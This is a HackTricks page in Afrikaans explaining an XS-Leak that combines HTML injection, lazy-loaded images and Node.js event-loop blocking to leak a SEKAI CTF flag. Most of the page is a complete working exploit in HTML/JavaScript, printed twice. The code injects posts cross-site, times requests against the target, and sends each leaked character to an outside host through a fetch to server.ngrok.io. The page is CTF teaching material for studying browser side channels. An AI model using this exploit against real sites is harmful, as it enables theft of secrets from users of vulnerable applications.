Event Loop Blocking + Lazy images

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PR's in te dien na die HackTricks en HackTricks Cloud github repos.

In hierdie exploit, @aszx87410 meng die lazy image side channel tegniek deur 'n HTML-inspuiting met 'n soort event loop blocking technique om karakters te lek.

Dit is 'n verskillende exploit vir die CTF uitdaging wat reeds op die volgende bladsy kommentaar is. kyk na meer inligting oor die uitdaging:

Connection Pool Examples

Die idee agter hierdie exploit is:

Die plasings word alfabeties gelaai
'n aanvaller kan 'n plasing inspuit wat begin met "A", dan sal 'n HTML tag (soos 'n groot <canvas) die meeste van die skerm vul en 'n paar finale <img lazy tags om dinge te laai.
As die aanvaller die selfde plasing inspuit maar begin met 'n "z". Die plasing met die vlag sal eerste verskyn, dan sal die ingespuite plasing verskyn met die aanvanklike "z" en die groot canvas. Omdat die plasing met die vlag eerste verskyn het, sal die eerste canvas al die skerm beset en die finale <img lazy tags wat ingespuit is nie gesien word nie, so hulle sal nie gelaai word nie.
Dan, terwyl die bot die bladsy toegang het, sal die aanvaller fetch versoeke stuur.
As die beelde wat in die plasing ingespuit is gelaai word, sal hierdie fetch versoeke langer neem, so die aanvaller weet dat die plasing voor die vlag is (alfabeties).
As die fetch versoeke vinning is, beteken dit dat die plasing alfabeties na die vlag is.

Kom ons kyk na die kode:

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>

Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Previousperformance.now + Force heavy task NextJavaScript Execution XS Leak

Last updated 4 months ago

<!DOCTYPE html> <html>  <body> <button onclick="run()">start</button>  <form id=f action="http://localhost:1234/create" method="POST" target="_blank"> <input id=inp name="text" value=""> </form>  <form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank"> <input id=inp2 name="index" value=""> </form> <script> let flag = 'SEKAI{' const TARGET = 'https://safelist.ctf.sekai.team' f.action = TARGET + '/create' f2.action = TARGET + '/remove' const sleep = ms => new Promise(r => setTimeout(r, ms)) // Function to leak info to attacker const send = data => fetch('http://server.ngrok.io?d='+data) const charset = 'abcdefghijklmnopqrstuvwxyz'.split('') // start exploit let count = 0 setTimeout(async () => { let L = 0 let R = charset.length - 1 // I have omited code here as apparently it wasn't necesary // fallback to linerar since I am not familiar with binary search lol for(let i=R; i>=L; i--) { let c = charset[i] send('try_' + flag + c) const found = await testChar(flag + c) if (found) { send('found: '+ flag+c) flag += c break } } }, 0) async function testChar(str) { return new Promise(resolve => { /* For 3350, you need to test it on your local to get this number. The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold If starts with "A", the image should be loaded because it's in the threshold. */ // <canvas height="3350px"> is experimental and allow to show the injected // images when the post injected is the first one but to hide them when // the injected post is after the post with the flag inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('') f.submit() setTimeout(() => { run(str, resolve) }, 500) }) } async function run(str, resolve) { // Open posts page 5 times for(let i=1; i<=5;i++) { window.open(TARGET) } let t = 0 const round = 30 //Lets time 30 requests setTimeout(async () => { // Send 30 requests and time each for(let i=0; i<round; i++) { let s = performance.now() await fetch(TARGET + '/?test', { mode: 'no-cors' }).catch(err=>1) let end = performance.now() t += end - s console.log(end - s) } const avg = t/round // Send info about how much time it took send(str + "," + t + "," + "avg:" + avg) /* I get this threshold(1000ms) by trying multiple times on remote admin bot for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold */ const isFound = (t >= 1000) if (isFound) { inp2.value = "0" } else { inp2.value = "1" } // remember to delete the post to not break our leak oracle f2.submit() setTimeout(() => { resolve(isFound) }, 200) }, 200) } </script> </body> </html>